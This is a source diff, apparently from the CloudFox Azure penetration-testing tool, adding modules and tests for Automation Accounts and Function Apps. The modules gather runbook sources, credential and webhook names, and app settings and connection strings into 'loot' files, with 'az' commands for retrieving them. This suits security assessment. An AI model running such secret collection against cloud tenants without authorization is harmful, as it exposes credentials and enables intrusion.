o.WriteFullOutput(o.Table.TableFiles, o.Loot.LootFiles)
} else {
o.WriteFullOutput(o.Table.TableFiles, nil)
}
fmt.Println()
}
func getAutomationAccountsOriginal(subscriptionID string) ([]automation.Account, error) {
accountsClient, _, _, _ := internal.GetAutomationClients(subscriptionID)
page, err := accountsClient.List(context.TODO())
if err != nil {
return nil, err
}
var accounts []automation.Account
for page.NotDone() {
accounts = append(accounts, page.Values()...)
if err := page.NextWithContext(context.TODO()); err != nil {
return nil, err
}
}
return accounts, nil
}
func getAutomationAssetsOriginal(subscriptionID, resourceGroup, accountName string) (automationAssets, error) {
_, runbooksClient, credentialsClient, webhooksClient := internal.GetAutomationClients(subscriptionID)
var assets automationAssets
runbooks, err := runbooksClient.ListByAutomationAccount(context.TODO(), resourceGroup, accountName)
if err != nil {
return assets, err
}
for runbooks.NotDone() {
assets.Runbooks = append(assets.Runbooks, runbooks.Values()...)
if err := runbooks.NextWithContext(context.TODO()); err != nil {
return assets, err
}
}
assets.RunbookSources = make(map[string]string, len(assets.Runbooks))
for _, runbook := range assets.Runbooks {
name := ptr.ToString(runbook.Name)
content, contentErr := runbooksClient.GetContent(context.TODO(), resourceGroup, accountName, name)
if contentErr != nil {
assets.RunbookSources[name] = fmt.Sprintf("[source unavailable: %s]", contentErr)
continue
}
assets.RunbookSources[name] = ptr.ToString(content.Value)
}
credentials, err := credentialsClient.ListByAutomationAccount(context.TODO(), resourceGroup, accountName)
if err != nil {
return assets, err
}
for credentials.NotDone() {
assets.Credentials = append(assets.Credentials, credentials.Values()...)
if err := credentials.NextWithContext(context.TODO()); err != nil {
return assets, err
}
}
webhooks, err := webhooksClient.ListByAutomationAccount(context.TODO(), resourceGroup, accountName, "")
if err != nil {
return assets, err
}
for webhooks.NotDone() {
assets.Webhooks = append(assets.Webhooks, webhooks.Values()...)
if err := webhooks.NextWithContext(context.TODO()); err != nil {
return assets, err
}
}
return assets, nil
}
+45
View File
@@ -0,0 +1,45 @@
package azure
import (
"strings"
"testing"
"github.com/Azure/azure-sdk-for-go/profiles/latest/automation/mgmt/automation"
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
"github.com/aws/smithy-go/ptr"
)
func TestGetAutomationDataCountsAndLoot(t *testing.T) {
originalAccounts, originalAssets := getAutomationAccounts, getAutomationAssets
t.Cleanup(func() { getAutomationAccounts, getAutomationAssets = originalAccounts, originalAssets })
getAutomationAccounts = func(string) ([]automation.Account, error) {
return []automation.Account{{Name: ptr.String("operations"), ID: ptr.String("/subscriptions/sub/resourceGroups/ops/providers/Microsoft.Automation/automationAccounts/operations")}}, nil
}
getAutomationAssets = func(_, resourceGroup, account string) (automationAssets, error) {
if resourceGroup != "ops" || account != "operations" {
t.Fatalf("unexpected automation target %s/%s", resourceGroup, account)
}
return automationAssets{Runbooks: []automation.Runbook{{Name: ptr.String("daily")}, {Name: ptr.String("weekly")}}, RunbookSources: map[string]string{"daily": "Write-Output 'daily'", "weekly": "print('weekly')"}, Credentials: []automation.Credential{{Name: ptr.String("service-account")}}, Webhooks: []automation.Webhook{{Name: ptr.String("deploy")}}}, nil
}
sub := subscriptions.Subscription{SubscriptionID: ptr.String("sub"), DisplayName: ptr.String("Production")}
rows, loot, warnings, err := getAutomationData(sub)
if err != nil || len(warnings) != 0 {
t.Fatalf("unexpected errors: err=%v warnings=%v", err, warnings)
}
if len(rows) != 1 || rows[0][4] != "2" || rows[0][5] != "1" || rows[0][6] != "1" {
t.Fatalf("unexpected automation rows: %+v", rows)
}
if !strings.Contains(loot.Runbooks, "Runbook: daily") || !strings.Contains(loot.Runbooks, "Write-Output 'daily'") {
t.Errorf("runbook loot is incomplete: %s", loot.Runbooks)
}
for _, value := range []string{"az automation credential show", "service-account", `"name": "service-account"`} {
if !strings.Contains(loot.Credentials, value) {
t.Errorf("credential loot missing %q: %s", value, loot.Credentials)
}
}
for _, value := range []string{"az automation webhook show", "deploy", `"name": "deploy"`} {
if !strings.Contains(loot.Webhooks, value) {
t.Errorf("webhook loot missing %q: %s", value, loot.Webhooks)
}
}
}
+526
View File
@@ -0,0 +1,526 @@
package azure
import (
"context"
"encoding/json"
"fmt"
"path/filepath"
"sort"
"strings"
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
"github.com/Azure/azure-sdk-for-go/profiles/latest/web/mgmt/web"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
)
var (
getFunctionApps = getFunctionAppsOriginal
getFunctionConfiguration = getFunctionConfigurationOriginal
getFunctions = getFunctionsOriginal
)
type functionConfiguration struct {
AppSettings map[string]*string
ConnectionStrings map[string]*web.ConnStringValueTypePair
AuthSettings web.SiteAuthSettingsV2
}
type functionLoot struct {
Configuration string
TestData string
}
func AzFuncCommand(tenantID, subscription, outputDirectory, version string, verbosity int, wrap, merged bool) error {
if tenantID != "" && subscription == "" {
tenant := populateTenant(tenantID)
if ptr.ToString(tenant.ID) == "" {
return fmt.Errorf("could not find Azure tenant %q", tenantID)
}
azureLogger.InfoM(fmt.Sprintf("Enumerating Function Apps for tenant %s (%s)", ptr.ToString(tenant.DefaultDomain), ptr.ToString(tenant.ID)), globals.AZ_FUNC_MODULE_NAME)
subs := GetSubscriptionsPerTenantID(ptr.ToString(tenant.ID))
if !merged {
for _, sub := range subs {
if err := runFuncForSubscription(sub, outputDirectory, verbosity, wrap); err != nil {
return err
}
}
return nil
}
var rows [][]string
var loot functionLoot
for _, sub := range subs {
subRows, subLoot, warnings, err := getFunctionData(sub)
if err != nil {
return err
}
rows = append(rows, subRows...)
loot.Configuration += subLoot.Configuration
loot.TestData += subLoot.TestData
for _, warning := range warnings {
azureLogger.WarnM(warning.Error(), globals.AZ_FUNC_MODULE_NAME)
}
}
if len(subs) > 0 {
writeFunctionOutput(outputDirectory, ptr.ToString(tenant.DefaultDomain), "1-tenant-level", ptr.ToString(tenant.DefaultDomain), rows, loot, verbosity, wrap)
}
return nil
}
if tenantID == "" && subscription != "" {
id := ptr.ToString(GetSubscriptionID(subscription))
for _, sub := range GetSubscriptions() {
if ptr.ToString(sub.SubscriptionID) == id {
return runFuncForSubscription(sub, outputDirectory, verbosity, wrap)
}
}
return fmt.Errorf("could not find Azure subscription %q", subscription)
}
return fmt.Errorf("please specify either --tenant or --subscription")
}
func runFuncForSubscription(sub subscriptions.Subscription, outputDirectory string, verbosity int, wrap bool) error {
azureLogger.InfoM(fmt.Sprintf("Enumerating Function Apps for subscription %s (%s)", ptr.ToString(sub.DisplayName), ptr.ToString(sub.SubscriptionID)), globals.AZ_FUNC_MODULE_NAME)
rows, loot, warnings, err := getFunctionData(sub)
if err != nil {
return err
}
for _, warning := range warnings {
azureLogger.WarnM(warning.Error(), globals.AZ_FUNC_MODULE_NAME)
}
tenant := populateTenant(ptr.ToString(sub.TenantID))
writeFunctionOutput(outputDirectory, ptr.ToString(tenant.DefaultDomain), ptr.ToString(sub.DisplayName), ptr.ToString(sub.DisplayName), rows, loot, verbosity, wrap)
return nil
}
func getFunctionData(subscription subscriptions.Subscription) ([][]string, functionLoot, []error, error) {
subscriptionID := ptr.ToString(subscription.SubscriptionID)
apps, err := getFunctionApps(subscriptionID)
if err != nil {
return nil, functionLoot{}, nil, fmt.Errorf("could not enumerate Function Apps for subscription %s: %w", subscriptionID, err)
}
var rows [][]string
var loot functionLoot
var warnings []error
for _, app := range apps {
if !strings.Contains(strings.ToLower(ptr.ToString(app.Kind)), "functionapp") {
continue
}
name := ptr.ToString(app.Name)
host := ""
if app.SiteProperties != nil {
host = ptr.ToString(app.DefaultHostName)
}
appURL := host
if host != "" {
appURL = "https://" + host
}
rg := resourceGroupFromID(ptr.ToString(app.ID))
config, err := getFunctionConfiguration(subscriptionID, rg, name)
if err != nil {
warnings = append(warnings, fmt.Errorf("could not read configuration for Function App %s: %w", name, err))
}
providers := functionAuthProviders(config.AuthSettings)
functions, err := getFunctions(subscriptionID, rg, name)
if err != nil {
warnings = append(warnings, fmt.Errorf("could not enumerate functions for Function App %s: %w", name, err))
rows = append(rows, functionAppFallbackRow(name, subscription, appURL, providers))
} else if len(functions) == 0 {
rows = append(rows, functionAppFallbackRow(name, subscription, appURL, providers))
} else {
for _, function := range functions {
functionName := lastResourceIDSegment(ptr.ToString(function.Name))
trigger := "Unknown"
state := "Unknown"
if function.FunctionEnvelopeProperties != nil {
trigger = functionTrigger(function.Config, ptr.ToString(function.InvokeURLTemplate))
state = "Enabled"
if ptr.ToBool(function.IsDisabled) {
state = "Disabled"
}
loot.TestData += formatFunctionTestDataLoot(subscriptionID, rg, name, functionName, ptr.ToString(function.TestData))
}
authMethods := append(functionAuthLevels(function.Config), providers...)
if len(authMethods) == 0 {
authMethods = []string{"Unknown"}
}
rows = append(rows, []string{name, functionName, trigger, strings.Join(uniqueStrings(authMethods), ", "), state, ptr.ToString(subscription.DisplayName), subscriptionID})
}
}
loot.Configuration += formatFunctionLoot(name, appURL, config)
}
sort.Slice(rows, func(i, j int) bool {
if rows[i][0] == rows[j][0] {
return rows[i][1] < rows[j][1]
}
return rows[i][0] < rows[j][0]
})
return rows, loot, warnings, nil
}
func functionAppFallbackRow(name string, subscription subscriptions.Subscription, appURL string, providers []string) []string {
authentication := strings.Join(providers, ", ")
if authentication == "" {
authentication = "Unknown"
}
trigger := "Unknown"
if appURL != "" {
trigger = "App URL: " + appURL
}
return []string{name, "", trigger, authentication, "Unknown", ptr.ToString(subscription.DisplayName), ptr.ToString(subscription.SubscriptionID)}
}
func functionTableHeader() []string {
return []string{"Function App", "Function Name", "Trigger", "Authentication", "State", "Subscription Name", "Subscription ID"}
}
func functionVisibleColumns() []string {
return []string{"Function App", "Function Name", "Trigger", "Authentication", "State", "Subscription Name"}
}
func formatFunctionLoot(name, appURL string, config functionConfiguration) string {
if len(config.AppSettings) == 0 && len(config.ConnectionStrings) == 0 {
return ""
}
var loot strings.Builder
fmt.Fprintf(&loot, "===============================================================\nFunction App: %s\nURL: %s\n\n", name, appURL)
fmt.Fprintf(&loot, "App Service Authentication: %s\n\n", strings.Join(functionAuthProviders(config.AuthSettings), ", "))
loot.WriteString("App Settings:\n")
settings := sortedKeys(config.AppSettings)
for _, key := range settings {
fmt.Fprintf(&loot, "%s=%s\n", key, ptr.ToString(config.AppSettings[key]))
}
loot.WriteString("\nConnection Strings:\n")
connections := make([]string, 0, len(config.ConnectionStrings))
for key := range config.ConnectionStrings {
connections = append(connections, key)
}
sort.Strings(connections)
for _, key := range connections {
value := config.ConnectionStrings[key]
if value != nil {
fmt.Fprintf(&loot, "%s=%s (type=%s)\n", key, ptr.ToString(value.Value), value.Type)
}
}
loot.WriteString("\n")
return loot.String()
}
func functionAuthProviders(settings web.SiteAuthSettingsV2) []string {
if settings.SiteAuthSettingsV2Properties == nil || settings.Platform == nil || !ptr.ToBool(settings.Platform.Enabled) {
return nil
}
providers := settings.IdentityProviders
if providers == nil {
return []string{"App Service Authentication enabled"}
}
var methods []string
if providers.AzureActiveDirectory != nil && ptr.ToBool(providers.AzureActiveDirectory.Enabled) {
methods = append(methods, "Entra ID")
}
if providers.Facebook != nil && ptr.ToBool(providers.Facebook.Enabled) {
methods = append(methods, "Facebook")
}
if providers.GitHub != nil && ptr.ToBool(providers.GitHub.Enabled) {
methods = append(methods, "GitHub")
}
if providers.Google != nil && ptr.ToBool(providers.Google.Enabled) {
methods = append(methods, "Google")
}
if providers.LegacyMicrosoftAccount != nil && ptr.ToBool(providers.LegacyMicrosoftAccount.Enabled) {
methods = append(methods, "Microsoft Account")
}
if providers.Twitter != nil && ptr.ToBool(providers.Twitter.Enabled) {
methods = append(methods, "Twitter")
}
if providers.Apple != nil && ptr.ToBool(providers.Apple.Enabled) {
methods = append(methods, "Apple")
}
if providers.AzureStaticWebApps != nil && ptr.ToBool(providers.AzureStaticWebApps.Enabled) {
methods = append(methods, "Azure Static Web Apps")
}
for name, provider := range providers.CustomOpenIDConnectProviders {
if provider != nil && ptr.ToBool(provider.Enabled) {
methods = append(methods, "OpenID Connect: "+name)
}
}
sort.Strings(methods)
return methods
}
func functionAuthLevels(config any) []string {
encoded, err := json.Marshal(config)
if err != nil {
return nil
}
var value any
if json.Unmarshal(encoded, &value) != nil {
return nil
}
var levels []string
var visit func(any)
visit = func(current any) {
switch typed := current.(type) {
case map[string]any:
for key, child := range typed {
if strings.EqualFold(key, "authLevel") {
if level, ok := child.(string); ok {
levels = append(levels, formatFunctionAuthLevel(level))
}
} else {
visit(child)
}
}
case []any:
for _, child := range typed {
visit(child)
}
}
}
visit(value)
return uniqueStrings(levels)
}
func functionTrigger(config any, invokeURL string) string {
encoded, err := json.Marshal(config)
if err != nil {
return "Unknown"
}
var value any
if json.Unmarshal(encoded, &value) != nil {
return "Unknown"
}
result := ""
var visit func(any)
visit = func(current any) {
if result != "" {
return
}
switch typed := current.(type) {
case map[string]any:
bindingType := mapStringValue(typed, "type")
if strings.HasSuffix(strings.ToLower(bindingType), "trigger") {
label := functionTriggerLabel(bindingType)
detail := functionTriggerDetail(bindingType, typed, invokeURL)
result = label
if detail != "" {
result += ": " + detail
}
return
}
for _, child := range typed {
visit(child)
}
case []any:
for _, child := range typed {
visit(child)
}
}
}
visit(value)
if result == "" {
return "Unknown"
}
return result
}
func functionTriggerLabel(bindingType string) string {
switch strings.ToLower(bindingType) {
case "httptrigger":
return "HTTP"
case "timertrigger":
return "Time Trigger"
case "blobtrigger":
return "Blob Trigger"
case "queuetrigger":
return "Queue Trigger"
case "servicebustrigger":
return "Service Bus Trigger"
case "eventhubtrigger":
return "Event Hub Trigger"
case "eventgridtrigger":
return "Event Grid Trigger"
case "cosmosdbtrigger":
return "Cosmos DB Trigger"
case "kafkatrigger":
return "Kafka Trigger"
default:
name := strings.TrimSuffix(bindingType, "Trigger")
return name + " Trigger"
}
}
func functionTriggerDetail(bindingType string, binding map[string]any, invokeURL string) string {
switch strings.ToLower(bindingType) {
case "httptrigger":
return invokeURL
case "timertrigger":
return mapStringValue(binding, "schedule")
case "blobtrigger":
return mapStringValue(binding, "path")
case "queuetrigger":
return mapStringValue(binding, "queueName")
case "servicebustrigger":
return firstNonEmpty(mapStringValue(binding, "queueName"), mapStringValue(binding, "topicName"))
case "eventhubtrigger":
return mapStringValue(binding, "eventHubName")
case "cosmosdbtrigger":
database := mapStringValue(binding, "databaseName")
container := firstNonEmpty(mapStringValue(binding, "containerName"), mapStringValue(binding, "collectionName"))
return strings.Trim(strings.Join([]string{database, container}, "/"), "/")
case "kafkatrigger":
return firstNonEmpty(mapStringValue(binding, "topic"), mapStringValue(binding, "brokerList"))
default:
return ""
}
}
func mapStringValue(values map[string]any, name string) string {
for key, value := range values {
if strings.EqualFold(key, name) {
if text, ok := value.(string); ok {
return text
}
}
}
return ""
}
func firstNonEmpty(values ...string) string {
for _, value := range values {
if value != "" {
return value
}
}
return ""
}
func formatFunctionTestDataLoot(subscriptionID, resourceGroup, appName, functionName, testData string) string {
if testData == "" {
return ""
}
return fmt.Sprintf("az functionapp function show --name %q --resource-group %q --function-name %q --subscription %q --query testData --output tsv\n%s\n\n", appName, resourceGroup, functionName, subscriptionID, testData)
}
func formatFunctionAuthLevel(level string) string {
switch strings.ToLower(level) {
case "anonymous":
return "Anonymous"
case "function":
return "Function key"
case "admin":
return "Admin/master key"
default:
return level
}
}
func uniqueStrings(values []string) []string {
seen := map[string]bool{}
var result []string
for _, value := range values {
if value != "" && !seen[value] {
seen[value] = true
result = append(result, value)
}
}
return result
}
func sortedKeys(values map[string]*string) []string {
keys := make([]string, 0, len(values))
for key := range values {
keys = append(keys, key)
}
sort.Strings(keys)
return keys
}
func getFunctionAppsOriginal(subscriptionID string) ([]web.Site, error) {
client := internal.GetWebAppsClient(subscriptionID)
page, err := client.List(context.TODO())
if err != nil {
return nil, err
}
var apps []web.Site
for page.NotDone() {
apps = append(apps, page.Values()...)
if err := page.NextWithContext(context.TODO()); err != nil {
return nil, err
}
}
return apps, nil
}
func getFunctionConfigurationOriginal(subscriptionID, resourceGroup, name string) (functionConfiguration, error) {
client := internal.GetWebAppsClient(subscriptionID)
var config functionConfiguration
settings, err := client.ListApplicationSettings(context.TODO(), resourceGroup, name)
if err != nil {
return config, err
}
config.AppSettings = settings.Properties
connections, err := client.ListConnectionStrings(context.TODO(), resourceGroup, name)
if err != nil {
return config, err
}
config.ConnectionStrings = connections.Properties
authSettings, err := client.GetAuthSettingsV2WithoutSecrets(context.TODO(), resourceGroup, name)
if err != nil {
return config, err
}
config.AuthSettings = authSettings
return config, nil
}
func getFunctionsOriginal(subscriptionID, resourceGroup, appName string) ([]web.FunctionEnvelope, error) {
client := internal.GetWebAppsClient(subscriptionID)
page, err := client.ListFunctions(context.TODO(), resourceGroup, appName)
if err != nil {
return nil, err
}
var functions []web.FunctionEnvelope
for page.NotDone() {
functions = append(functions, page.Values()...)
if err := page.NextWithContext(context.TODO()); err != nil {
return nil, err
}
}
return functions, nil
}
func resourceGroupFromID(id string) string {
parts := strings.Split(strings.Trim(id, "/"), "/")
for i := 0; i+1 < len(parts); i++ {
if strings.EqualFold(parts[i], "resourceGroups") {
return parts[i+1]
}
}
return ""
}
func writeFunctionOutput(outputDirectory, tenantDomain, directorySuffix, prefix string, rows [][]string, loot functionLoot, verbosity int, wrap bool) {
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: globals.AZ_FUNC_MODULE_NAME,
PrefixIdentifier: prefix,
Table: internal.TableClient{
Wrap: wrap,
DirectoryName: filepath.Join(outputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, tenantDomain, directorySuffix),
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{Header: functionTableHeader(), Body: rows, Name: globals.AZ_FUNC_MODULE_NAME, TableCols: functionVisibleColumns()})
o.Loot.DirectoryName = filepath.Join(o.Table.DirectoryName, "loot")
if loot.Configuration != "" {
o.Loot.LootFiles = append(o.Loot.LootFiles, internal.LootFile{Name: "function-app-configuration", Contents: loot.Configuration})
}
if loot.TestData != "" {
o.Loot.LootFiles = append(o.Loot.LootFiles, internal.LootFile{Name: "function-test-data", Contents: loot.TestData})
}
if len(o.Loot.LootFiles) > 0 {
o.WriteFullOutput(o.Table.TableFiles, o.Loot.LootFiles)
} else {
o.WriteFullOutput(o.Table.TableFiles, nil)
}
fmt.Println()
}
+94
View File
@@ -0,0 +1,94 @@
package azure
import (
"errors"
"strings"
"testing"
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
"github.com/Azure/azure-sdk-for-go/profiles/latest/web/mgmt/web"
"github.com/aws/smithy-go/ptr"
)
func TestGetFunctionDataAndConfigurationLoot(t *testing.T) {
originalApps, originalConfig, originalFunctions := getFunctionApps, getFunctionConfiguration, getFunctions
t.Cleanup(func() {
getFunctionApps, getFunctionConfiguration, getFunctions = originalApps, originalConfig, originalFunctions
})
getFunctionApps = func(string) ([]web.Site, error) {
return []web.Site{
{Name: ptr.String("process-orders"), Kind: ptr.String("functionapp,linux"), ID: ptr.String("/subscriptions/sub/resourceGroups/apps/providers/Microsoft.Web/sites/process-orders"), SiteProperties: &web.SiteProperties{DefaultHostName: ptr.String("process-orders.azurewebsites.net")}},
{Name: ptr.String("ordinary-web-app"), Kind: ptr.String("app")},
}, nil
}
getFunctionConfiguration = func(_, resourceGroup, name string) (functionConfiguration, error) {
if resourceGroup != "apps" || name != "process-orders" {
t.Fatalf("unexpected configuration target %s/%s", resourceGroup, name)
}
return functionConfiguration{AppSettings: map[string]*string{"API_KEY": ptr.String("secret")}, ConnectionStrings: map[string]*web.ConnStringValueTypePair{"Database": {Value: ptr.String("Server=db")}}, AuthSettings: web.SiteAuthSettingsV2{SiteAuthSettingsV2Properties: &web.SiteAuthSettingsV2Properties{Platform: &web.AuthPlatform{Enabled: ptr.Bool(true)}, IdentityProviders: &web.IdentityProviders{AzureActiveDirectory: &web.AzureActiveDirectory{Enabled: ptr.Bool(true)}}}}}, nil
}
getFunctions = func(_, _, _ string) ([]web.FunctionEnvelope, error) {
return []web.FunctionEnvelope{{Name: ptr.String("process-orders/HttpTrigger"), FunctionEnvelopeProperties: &web.FunctionEnvelopeProperties{InvokeURLTemplate: ptr.String("https://process-orders.azurewebsites.net/api/orders"), Config: map[string]any{"bindings": []any{map[string]any{"type": "httpTrigger", "authLevel": "function"}}}, IsDisabled: ptr.Bool(false), TestData: ptr.String(`{"orderId":42}`)}}}, nil
}
sub := subscriptions.Subscription{SubscriptionID: ptr.String("sub"), DisplayName: ptr.String("Production")}
rows, loot, warnings, err := getFunctionData(sub)
if err != nil || len(warnings) != 0 {
t.Fatalf("unexpected errors: err=%v warnings=%v", err, warnings)
}
if len(rows) != 1 || rows[0][0] != "process-orders" || rows[0][1] != "HttpTrigger" || rows[0][2] != "HTTP: https://process-orders.azurewebsites.net/api/orders" || !strings.Contains(rows[0][3], "Function key") || !strings.Contains(rows[0][3], "Entra ID") || rows[0][4] != "Enabled" || rows[0][5] != "Production" || rows[0][6] != "sub" {
t.Fatalf("unexpected function rows: %+v", rows)
}
for _, value := range []string{"API_KEY=secret", "Database=Server=db", "Entra ID"} {
if !strings.Contains(loot.Configuration, value) {
t.Errorf("loot missing %q: %s", value, loot.Configuration)
}
}
for _, value := range []string{"az functionapp function show", `--function-name "HttpTrigger"`, `{"orderId":42}`} {
if !strings.Contains(loot.TestData, value) {
t.Errorf("test-data loot missing %q: %s", value, loot.TestData)
}
}
}
func TestGetFunctionDataFallsBackWhenEnrichmentFails(t *testing.T) {
originalApps, originalConfig, originalFunctions := getFunctionApps, getFunctionConfiguration, getFunctions
t.Cleanup(func() {
getFunctionApps, getFunctionConfiguration, getFunctions = originalApps, originalConfig, originalFunctions
})
getFunctionApps = func(string) ([]web.Site, error) {
return []web.Site{{Name: ptr.String("visible-app"), Kind: ptr.String("functionapp"), ID: ptr.String("/subscriptions/sub/resourceGroups/apps/providers/Microsoft.Web/sites/visible-app"), SiteProperties: &web.SiteProperties{DefaultHostName: ptr.String("visible.azurewebsites.net")}}}, nil
}
getFunctionConfiguration = func(_, _, _ string) (functionConfiguration, error) {
return functionConfiguration{}, errors.New("forbidden")
}
getFunctions = func(_, _, _ string) ([]web.FunctionEnvelope, error) { return nil, nil }
rows, _, warnings, err := getFunctionData(subscriptions.Subscription{SubscriptionID: ptr.String("sub"), DisplayName: ptr.String("Production")})
if err != nil || len(rows) != 1 || rows[0][0] != "visible-app" || rows[0][2] != "App URL: https://visible.azurewebsites.net" || rows[0][4] != "Unknown" || len(warnings) != 1 {
t.Fatalf("expected visible fallback row and warning, got rows=%+v warnings=%v err=%v", rows, warnings, err)
}
}
func TestGetFunctionDataUsesCronScheduleAsTrigger(t *testing.T) {
originalApps, originalConfig, originalFunctions := getFunctionApps, getFunctionConfiguration, getFunctions
t.Cleanup(func() {
getFunctionApps, getFunctionConfiguration, getFunctions = originalApps, originalConfig, originalFunctions
})
getFunctionApps = func(string) ([]web.Site, error) {
return []web.Site{{Name: ptr.String("scheduled-app"), Kind: ptr.String("functionapp"), ID: ptr.String("/subscriptions/sub/resourceGroups/apps/providers/Microsoft.Web/sites/scheduled-app")}}, nil
}
getFunctionConfiguration = func(_, _, _ string) (functionConfiguration, error) { return functionConfiguration{}, nil }
getFunctions = func(_, _, _ string) ([]web.FunctionEnvelope, error) {
return []web.FunctionEnvelope{{
Name: ptr.String("scheduled-app/Cleanup"),
FunctionEnvelopeProperties: &web.FunctionEnvelopeProperties{
Config: map[string]any{"bindings": []any{map[string]any{"type": "timerTrigger", "schedule": "0 */5 * * * *"}}},
IsDisabled: ptr.Bool(true),
},
}}, nil
}
rows, _, _, err := getFunctionData(subscriptions.Subscription{SubscriptionID: ptr.String("sub"), DisplayName: ptr.String("Production")})
if err != nil || len(rows) != 1 || rows[0][2] != "Time Trigger: 0 */5 * * * *" || rows[0][4] != "Disabled" {
t.Fatalf("expected CRON schedule trigger, got rows=%+v err=%v", rows, err)
}
}
+4 -12
View File
@@ -10,8 +10,6 @@ import (
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
"github.com/fatih/color"
"github.com/kyokomi/emoji"
)
func AzInventoryCommand(AzTenantID, AzSubscriptionID, AzOutputDirectory, Version string, AzVerbosity int, AzWrapTable bool, AzMergedTable bool) error {
@@ -40,10 +38,7 @@ func AzInventoryCommand(AzTenantID, AzSubscriptionID, AzOutputDirectory, Version
},
}
fmt.Printf(
"[%s][%s] Gathering inventory for subscription %s\n",
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(o.CallingModule),
fmt.Sprintf("%s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)))
azureLogger.InfoM(fmt.Sprintf("Gathering inventory for tenant %s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)), o.CallingModule)
o.PrefixIdentifier = ptr.ToString(tenantInfo.DefaultDomain)
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), "1-tenant-level")
@@ -57,7 +52,7 @@ func AzInventoryCommand(AzTenantID, AzSubscriptionID, AzOutputDirectory, Version
internal.TableFile{
Header: header,
Body: body,
Name: fmt.Sprintf(o.CallingModule)})
Name: o.CallingModule})
if body != nil {
o.WriteFullOutput(o.Table.TableFiles, nil)
@@ -76,7 +71,7 @@ func AzInventoryCommand(AzTenantID, AzSubscriptionID, AzOutputDirectory, Version
} else {
// Error: please make a valid flag selection
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
azureLogger.ErrorM("Please enter a valid input with a valid flag. Use --help for info.", globals.AZ_INVENTORY_MODULE_NAME)
}
o.WriteFullOutput(o.Table.TableFiles, nil)
return nil
@@ -101,10 +96,7 @@ func runInventoryCommandForSingleSubscription(AzSubscription string, AzOutputDir
o.PrefixIdentifier = AzSubscriptionInfo.Name
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), AzSubscriptionInfo.Name)
fmt.Printf(
"[%s][%s] Gathering inventory for subscription %s\n",
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(o.CallingModule),
fmt.Sprintf("%s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID))
azureLogger.InfoM(fmt.Sprintf("Gathering inventory for subscription %s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID), o.CallingModule)
// populate the table data
header, body, err = getInventoryInfoPerSubscription(ptr.ToString(tenantInfo.ID), AzSubscriptionInfo.ID)
+22 -31
View File
@@ -4,7 +4,6 @@ import (
"context"
"encoding/json"
"fmt"
"log"
"os"
"path/filepath"
"sort"
@@ -16,7 +15,6 @@ import (
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
"github.com/fatih/color"
"github.com/kyokomi/emoji"
)
func AzRBACCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory, Version string, AzVerbosity int, AzWrapTable bool, AzMergedTable bool) error {
@@ -39,19 +37,13 @@ func AzRBACCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory
if AzTenantID != "" && AzSubscription == "" {
// cloudfox azure rbac --tenant [TENANT_ID | PRIMARY_DOMAIN]
var err error
tenantInfo := populateTenant(AzTenantID)
if err != nil {
return err
}
o.PrefixIdentifier = ptr.ToString(tenantInfo.DefaultDomain)
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), "1-tenant-level")
fmt.Printf("[%s][%s] Enumerating RBAC permissions for tenant %s\n",
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(globals.AZ_RBAC_MODULE_NAME),
fmt.Sprintf("%s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)))
azureLogger.InfoM(fmt.Sprintf("Enumerating RBAC permissions for tenant %s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)), globals.AZ_RBAC_MODULE_NAME)
header, body, err = getRBACperTenant(ptr.ToString(tenantInfo.ID), c)
header, body, err := getRBACperTenant(ptr.ToString(tenantInfo.ID), c)
if err != nil {
return err
}
@@ -69,8 +61,7 @@ func AzRBACCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory
o.PrefixIdentifier = AzSubscriptionInfo.Name
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), AzSubscriptionInfo.Name)
fmt.Printf("[%s][%s] Enumerating RBAC permissions for subscription %s\n", color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(globals.AZ_RBAC_MODULE_NAME),
fmt.Sprintf("%s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID))
azureLogger.InfoM(fmt.Sprintf("Enumerating RBAC permissions for subscription %s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID), globals.AZ_RBAC_MODULE_NAME)
header, body = getRBACperSubscription(ptr.ToString(tenantInfo.ID), AzSubscriptionInfo.ID, c)
o.Table.TableFiles = append(o.Table.TableFiles,
internal.TableFile{
